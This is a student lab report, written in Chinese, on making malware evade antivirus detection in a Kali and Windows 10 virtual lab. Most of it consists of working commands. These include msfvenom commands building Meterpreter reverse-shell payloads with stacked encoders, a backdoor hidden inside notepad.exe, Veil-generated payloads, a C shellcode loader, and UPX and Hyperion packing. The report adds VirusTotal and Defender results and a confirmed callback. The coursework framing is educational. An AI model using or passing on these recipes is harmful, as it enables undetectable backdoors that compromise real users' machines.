1.实验内容
1.1 本周学习内容
- 免杀:Virus AV,反杀毒技术,对恶意软件做处理,让它不被杀毒软件所检测;
- 免杀技术:修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀
1.2 实践内容
- 掌握免杀原理与技术
- 使用Msfvenom、veil等工具生成后门代码,使用加壳工具、改变编码方式等操作实现免杀;通过virscan、virustotal等工具对生成的payload进行风险检测;
1.3 问题回答
(1)杀软是如何检测出恶意代码的?
通过“特征” 和 “行为”两个维度识别恶意代码,包括特征码检测(通过对比数据库中的恶意代码片段判定),行为分析(监控程序运行时的行为,判定是否符合恶意行为模型)和启发式检测(属于“预测型”检测,对未知文件分析其代码结构、逻辑流程判断是否属于恶意程序);
(2)免杀是做什么?
免杀是通过技术手段,修改或隐藏恶意代码的特征、行为,使其绕过杀软的检测机制,从而在目标设备上正常运行的技术;
(3)免杀的基本方法有哪些?
修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀;
2.实验过程
本次实验使用kali虚拟机和win10虚拟机完成,测试其相互能ping通;
本次使用的kali端ip:192.168.64.148

win10虚拟机ip:192.168.64.128

2.1 使用MSF编码器生成payload并进行检测
2.1.1生成基础载荷并进行检测
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f exe -o 20232327.exe生成基础载荷;
命令格式:
msfvenom -p
<payload参数> -f <输出格式> -o <输出文件名> [其他可选参数]
生成基础载荷

对生成的基础载荷进行检测,发现50/72的安全厂商将其标记为恶意文件,可以发现免杀效果不是很好;
基础载荷检测

2.1.2用不同编码器对基础载荷进行编码并检测
接下来对生成的基础载荷使用不同的编码器进行编码,测试不同编码后文件的免杀效果;
#指定编码器x86/shikata_ga_nai编码1次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/shikata_ga_nai -i 1 -f exe -o shikata_ga_nai_1.exe
#指定编码器编码x86/shikata_ga_nai 8次
#迭代次数并非越多越好,5-10是较优区间。次数过少则变形不充分,次数过多会导致代码体积膨胀,反而可能触发“异常文件大小”的告警规则。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/shikata_ga_nai -i 8 -f exe -o shikata_ga_nai_8.exe
#指定编码器编码器 x86/alpha_mixed(纯字母数字编码)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/alpha_mixed -i 8 -f exe -o alpha_mixed_payload.exe
#指定编码器 x86/call4_dword_xor(异或 + 调用变形)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/call4_dword_xor -i 6 -f exe -o call4_xor_payload.exe
#指定编码器 x64/xor(64 位系统专用异或编码)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 7 -f exe -o x64_xor_payload.exe
#编码器 x86/fnstenv_mov(浮点指令变形)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/fnstenv_mov -i 5 -f exe -o fnstenv_payload.exe


指定编码器编码x86/shikata_ga_nai 编码1次

指定编码器编码x86/shikata_ga_nai 编码8次

指定编码器 x86/call4_dword_xor(异或 + 调用变形)

指定编码器编码器 x86/alpha_mixed(纯字母数字编码)

指定编码器 x64/xor(64 位系统专用异或编码)

编码器 x86/fnstenv_mov(浮点指令变形)

| 文件名 | 检测引擎命中数(/72) |
|---|---|
| 20232327.exe | 50 |
| shikata_ga_nai_1.exe | 44 |
| shikata_ga_nai_8.exe | 44 |
| x64_xor_payload.exe | 38 |
| fnstenv_payload.exe | 41 |
| call4_xor_payload.exe | 42 |
| alpha_mixed_payload.exe | 41 |
综合来看,使用编码器编码后的文件要比基础载荷的免杀效果稍好,x64_xor_payload编码的免杀效果相对较好,一次编码和多次编码对于免杀效果意义不大,单一编码手段免杀能力有限;
2.1.3混合编码
尝试混合多种编码器,对生成的基础payload进行编码,发现使用多种编码器进行混合编码后的文件免杀效果会比较好;
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/alpha_mixed -i 3 -e x86/alpha_upper -i 2 -e x86/call4_dword_xor -i 2 -x ./notepad.exe -f exe -o 32bit_multi_encoded.exe
混合使用编码器进行编码后检测

使用windows Defender对生成的文件进行检测,发现没有检测到威胁,说明免杀效果比较好;
使用windows Defender对混合加密的文件进行检测

2.1.4将payload注入其他软件中
尝试调用系统软件,将payload代码注入到win系统自带的Notepad.exe文件中;
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 6 -x ./notepad_x64.exe -f exe -o notepad_x64_backdoor.exe
命令格式
msfvenom -a <架构> --platform <目标平台> -p<payload参数> -e <编码器> -i <编码次数> -x <模板文件> -f <输出格式> -o <输出文件名>
找到系统中Notepad.exe文件并将其复制到kali中

将shellcode代码注入到记事本中,发现免杀效果会稍好一些;
将payload注入到Notepad.exe后检测

2.1.5生成其他格式的文件
命令格式同上
jarmsfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f jar -o 20232327.jarphpmsfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f raw -o 2023227.phppymsfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f raw -o 20232327.pymsfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f -o 20232327.pyapkmsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -o 20232327.apk





| 文件名 | 检测引擎命中数(/ 总引擎数) |
|---|---|
| 20232327.jar | 34/64 |
| 2023227.php | 9/62 |
| 20232327.apk | 27/66 |
| 20232327.py | 0/62 |
| 20232327.py(raw) | 22/62 |
综合来看,python文件和php文件的免杀效果较好,jar文件和apk文件免杀能力一般;
2.2使用Veil-Evasion进行免杀处理
2.2.1安装veil
直接使用sudo apt -y install veil时,会因为网络原因下载速度很慢,这里使用从GitHub克隆Veil代码库的方法进行安装;
安装相关依赖
sudo apt install -y git curl wine python3 python3-pip mingw-w64
从GitHub克隆Veil代码库
git clone https://github.com/Veil-Framework/Veil.git
进入Veil目录并运行安装脚本
cd Veil/config
在这里使用vi setup.sh,将veil的源从github换成gitee可以大大缩短下载时间https://gitee.com/spears/VeilDependencies.git;
veil换源

使用命令./config/setup.sh --force --silent安装
--force:强制安装,即使系统可能已有部分依赖项
--silent:在不提示确认的情况下自动安装所有依赖项
2.2.2使用veil生成免杀载荷
安装完成后,输入veil进入veil,依次选择use evasion使用免杀模块,use c/meterpreter/rev_tcp.py选择具体的payload生成脚本;set LHOST 192.168.64.148 set LPORT 2327,使用命令generate开始生成
使用veil生成免杀载荷

检验免杀效果

发现要比直接用MSF生成的载荷免杀效果要好;
2.3 C+shellcode实现免杀
通过使用msfvenom 生成C格式的Shellcode,并嵌入到C语言代码中;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f c -o meterpreter_c.c
命令格式
msfvenom -p<payload参数> -f <输出格式> -o <输出文件名>
生成C格式的Shellcode

使用vim编辑生成的文件,在最后加上执行shellcode的主函数;
int main(){int(*func)()=(int(*)())buf; func();
}
主函数定义一个函数指针 func,将其指向 buf 数组(buf 中存储的是 Meterpreter 的 shellcode 二进制数据);
然后调用 func(),这一操作会让程序跳转到 buf 对应的内存地址,执行其中的 shellcode 指令,从而触发 Meterpreter 反向连接等恶意功能。
加上执行主函数

对生成的从+shellcode文件进行检测

2.4 加壳
2.4.1 加upx压缩壳
使用命令upx 2327_meterpreter_c_.exe -o 2327_meterpreter_c_upx.exe对上一项任务中生成的文件加upx压缩壳;
加upx壳

检测加了upx压缩壳后的效果

发现加壳后比不加壳时相比免杀效果变差了,可能是upx壳的效果太明显被广泛标注
2.4.2 加hyperion加密壳
将当前需要加壳的文件copy到hyperion文件夹下;
sudo cp 2327_meterpreter_c_.exe /usr/share/windows-resources/hyperion
进入hyperion文件夹加壳;
cd /usr/share/windows-resources/hyperion
这里的hyperion文件夹需要管理员权限才能改动;
sudo wine hyperion.exe -v 2327_meterpreter_c_.exe 2327_meterpreter_c_hypersion.exe
加hyperion壳

对加hyperion壳的文件进行检测

发现加了hyperion壳的文件免杀效果变差,说明壳的特征被识别
2.5 组合多种技术实现恶意代码免杀
1. 使用msf工具生成载荷+编码+加壳
使用msf工具生成一个工具载荷, 并使用x86/shikata_ga_nai编码器编码8次得到.c文件;
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.64.148 LPORT=2327 -f c > 20232327.c
msf生成载荷并编码

使用vim编辑生成的文件,在最后加上执行shellcode的主函数;
int main(){int(*func)()=(int(*)())buf; func();
}
在生成的载荷末尾加上执行主函数

主函数定义一个函数指针 func,将其指向 buf 数组(buf 中存储的是 Meterpreter 的 shellcode 二进制数据);
然后调用 func(),这一操作会让程序跳转到 buf 对应的内存地址,执行其中的 shellcode 指令,从而触发 Meterpreter 反向连接等恶意功能。
使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20232327.c -o 20232327_.exe
命令格式
<交叉编译器路径/名称> <源代码文件> -o <输出可执行文件名>
接着给这个源文件加上upx壳和hyperion壳,并进行检测
upx 20232327_.exe -o 20232327__upx.exe
sudo wine hyperion.exe -v 20232327__upx.exe 20232327__upx_hyper.exe
检测最终生成的文件

此时发现免杀效果不是很好,上文中经过测试发现加壳后容易被识别,所以此时再尝试检测不加壳的文件;
不加壳的文件检测

因为这个壳的特征太过于明显,所以不加壳反而免杀效果会好一些;
用另一台电脑实测,在杀软(Lenovo Anti-Virus powered by Huorong Security)开启的情况下,无法运行软件;

在关闭杀软的情况下可以回连成功;
连接测试

2. 以win记事本为模板生成的载荷+加壳
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 6 -x ./notepad_x64.exe -f exe -o notepad_x64_backdoor.exe
以记事本为模板,生成的文件的基础上,再对其进行加壳,检测生成的文件;
对以Notepad.exe为模板生成的载荷加壳生成的文件检测

发现免杀效果还是比较好的,在电脑中使用杀软(Lenovo Anti-Virus powered by Huorong Security和Windows defender分别进行检测,发现都没有检测出风险;
使用Lenovo Anti-Virus powered by Huorong Security进行检测

使用 Windows defender进行检测

3.问题及解决方案
- 问题1:使用命令
sudo apt -y install veil下载veil时,因为网络问题下载速度很慢;

- 问题1解决方案:先使用命令
sudo apt install -y git curl wine python3 python3-pip mingw-w64安装依赖项,然后从Github克隆代码库,更改安装脚本中的源为gitte的国内源后,顺利完成下载; - 问题2:在win虚拟机中运行生成的载荷时,出现找不到.dll库的问题;

) - 问题2解决方案:在自己的主电脑中使用everything搜索这个库文件,找到这个文件后将其复制到载荷文件的路径下后,正常运行;
4.学习感悟、思考等
- 在进行每一次的网络攻防实验之前,一定要保存虚拟机快照,可以避免在实验中对某些配置更改后无法还原的问题;
- 不要轻易更新现在最新版的kali系统,已经是第二次犯这个错误了,更新系统后鼠标指针会丢失,能正常点击使用但是图片会丢失,查看鼠标图标的配置文件都是正常的,将鼠标大小调非常大后会正常显示,但是会变得卡顿,找了很多教程也没有解决这个问题;
- 本次实验中,我尝试使用了多种免杀方法,但是因为一些免杀方法已经被安全观厂商广泛标注,所以反而不能起到很好的免杀效果,组合使用多种免杀方法可以很好的增强免杀效果,但是方法的使用是很重要的一部分;
- 安全杀毒软件虽然强大,但是通过此次实验,发现还是有不少方法可以实现免杀效果,所以我们一定要有风险和安全意识,注意保护自己的设备环境安全,不要轻易下载来源不明的文件;
参考资料
- 实验命令参考